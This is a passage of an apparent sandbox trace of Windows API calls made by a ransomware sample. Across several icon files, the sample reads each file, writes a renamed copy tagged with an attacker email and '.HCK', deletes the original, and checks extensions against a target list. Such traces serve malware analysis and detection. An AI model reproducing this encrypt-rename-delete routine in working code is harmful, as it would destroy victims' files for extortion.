(lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.999] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=88533) returned 1 [0148.999] CloseHandle (hObject=0x2f4) returned 1 [0148.999] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0148.999] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.000] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.000] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.000] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.000] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.000] GetLastError () returned 0x0 [0149.000] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0149.003] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0149.004] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.004] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf2, lpOverlapped=0x0) returned 1 [0149.004] SetEndOfFile (hFile=0x36c) returned 1 [0149.005] CloseHandle (hObject=0x36c) returned 1 [0149.006] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.006] SetEndOfFile (hFile=0x2f4) returned 1 [0149.007] CloseHandle (hObject=0x2f4) returned 1 [0149.008] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.008] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0149.008] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.008] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.008] lstrlenW (lpString=".doc") returned 4 [0149.008] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.008] lstrlenW (lpString=".docx") returned 5 [0149.008] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0149.008] lstrlenW (lpString=".pdf") returned 4 [0149.008] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.008] lstrlenW (lpString=".xls") returned 4 [0149.008] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.008] lstrlenW (lpString=".xlsx") returned 5 [0149.008] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0149.008] lstrlenW (lpString=".ppt") returned 4 [0149.008] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.008] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.008] lstrlenW (lpString=".zip") returned 4 [0149.008] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.008] lstrlenW (lpString=".rar") returned 4 [0149.008] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.008] lstrlenW (lpString=".bz2") returned 4 [0149.008] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.008] lstrlenW (lpString=".7z") returned 3 [0149.008] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".dbf") returned 4 [0149.009] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".1cd") returned 4 [0149.009] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".jpg") returned 4 [0149.009] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".doc") returned 4 [0149.009] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.009] lstrlenW (lpString=".docx") returned 5 [0149.009] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0149.009] lstrlenW (lpString=".pdf") returned 4 [0149.009] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.009] lstrlenW (lpString=".xls") returned 4 [0149.009] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.009] lstrlenW (lpString=".xlsx") returned 5 [0149.009] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0149.009] lstrlenW (lpString=".ppt") returned 4 [0149.009] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".zip") returned 4 [0149.009] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.009] lstrlenW (lpString=".rar") returned 4 [0149.009] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.009] lstrlenW (lpString=".bz2") returned 4 [0149.009] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.009] lstrlenW (lpString=".7z") returned 3 [0149.009] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".dbf") returned 4 [0149.009] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".1cd") returned 4 [0149.009] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0149.009] lstrlenW (lpString=".jpg") returned 4 [0149.009] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.009] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.009] lstrlenW (lpString="Print.ico") returned 9 [0149.009] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.011] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1150) returned 1 [0149.011] CloseHandle (hObject=0x2f4) returned 1 [0149.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0149.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.011] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.011] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.012] GetLastError () returned 0x0 [0149.012] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x47e, lpOverlapped=0x0) returned 1 [0149.013] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x480, lpOverlapped=0x0) returned 1 [0149.014] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.014] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe6, lpOverlapped=0x0) returned 1 [0149.014] SetEndOfFile (hFile=0x36c) returned 1 [0149.014] CloseHandle (hObject=0x36c) returned 1 [0149.015] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.015] SetEndOfFile (hFile=0x2f4) returned 1 [0149.016] CloseHandle (hObject=0x2f4) returned 1 [0149.016] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.016] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0149.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.016] lstrlenW (lpString=".doc") returned 4 [0149.016] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.016] lstrlenW (lpString=".docx") returned 5 [0149.016] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0149.016] lstrlenW (lpString=".pdf") returned 4 [0149.016] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.016] lstrlenW (lpString=".xls") returned 4 [0149.016] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.016] lstrlenW (lpString=".xlsx") returned 5 [0149.016] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0149.016] lstrlenW (lpString=".ppt") returned 4 [0149.016] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.016] lstrlenW (lpString=".zip") returned 4 [0149.016] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.016] lstrlenW (lpString=".rar") returned 4 [0149.016] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString=".bz2") returned 4 [0149.017] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString=".7z") returned 3 [0149.017] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".dbf") returned 4 [0149.017] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".1cd") returned 4 [0149.017] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".jpg") returned 4 [0149.017] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".doc") returned 4 [0149.017] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString=".docx") returned 5 [0149.017] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0149.017] lstrlenW (lpString=".pdf") returned 4 [0149.017] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString=".xls") returned 4 [0149.017] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString=".xlsx") returned 5 [0149.017] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0149.017] lstrlenW (lpString=".ppt") returned 4 [0149.017] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".zip") returned 4 [0149.017] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString=".rar") returned 4 [0149.017] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.017] lstrlenW (lpString=".bz2") returned 4 [0149.017] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString=".7z") returned 3 [0149.017] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".dbf") returned 4 [0149.017] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".1cd") returned 4 [0149.017] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0149.017] lstrlenW (lpString=".jpg") returned 4 [0149.017] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.017] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.017] lstrlenW (lpString="Rotate1.ico") returned 11 [0149.018] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.018] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=894) returned 1 [0149.018] CloseHandle (hObject=0x2f4) returned 1 [0149.018] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0149.018] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.018] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.018] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.018] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.018] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.018] GetLastError () returned 0x0 [0149.018] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.020] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x380, lpOverlapped=0x0) returned 1 [0149.020] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.020] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1 [0149.020] SetEndOfFile (hFile=0x36c) returned 1 [0149.021] CloseHandle (hObject=0x36c) returned 1 [0149.021] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.021] SetEndOfFile (hFile=0x2f4) returned 1 [0149.022] CloseHandle (hObject=0x2f4) returned 1 [0149.022] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.022] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0149.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.022] lstrlenW (lpString=".doc") returned 4 [0149.022] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.022] lstrlenW (lpString=".docx") returned 5 [0149.022] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0149.022] lstrlenW (lpString=".pdf") returned 4 [0149.022] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.022] lstrlenW (lpString=".xls") returned 4 [0149.023] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".xlsx") returned 5 [0149.023] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0149.023] lstrlenW (lpString=".ppt") returned 4 [0149.023] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".zip") returned 4 [0149.023] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".rar") returned 4 [0149.023] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".bz2") returned 4 [0149.023] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.023] lstrlenW (lpString=".7z") returned 3 [0149.023] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".dbf") returned 4 [0149.023] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".1cd") returned 4 [0149.023] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".jpg") returned 4 [0149.023] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".doc") returned 4 [0149.023] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.023] lstrlenW (lpString=".docx") returned 5 [0149.023] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0149.023] lstrlenW (lpString=".pdf") returned 4 [0149.023] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".xls") returned 4 [0149.023] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".xlsx") returned 5 [0149.023] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0149.023] lstrlenW (lpString=".ppt") returned 4 [0149.023] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".zip") returned 4 [0149.023] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".rar") returned 4 [0149.023] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.023] lstrlenW (lpString=".bz2") returned 4 [0149.023] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.023] lstrlenW (lpString=".7z") returned 3 [0149.023] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.023] lstrlenW (lpString=".dbf") returned 4 [0149.023] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.024] lstrlenW (lpString=".1cd") returned 4 [0149.024] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0149.024] lstrlenW (lpString=".jpg") returned 4 [0149.024] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.024] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.024] lstrlenW (lpString="Rotate2.ico") returned 11 [0149.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.024] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=894) returned 1 [0149.024] CloseHandle (hObject=0x2f4) returned 1 [0149.024] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0149.024] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.024] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.024] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.024] GetLastError () returned 0x0 [0149.025] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.026] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x380, lpOverlapped=0x0) returned 1 [0149.353] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, 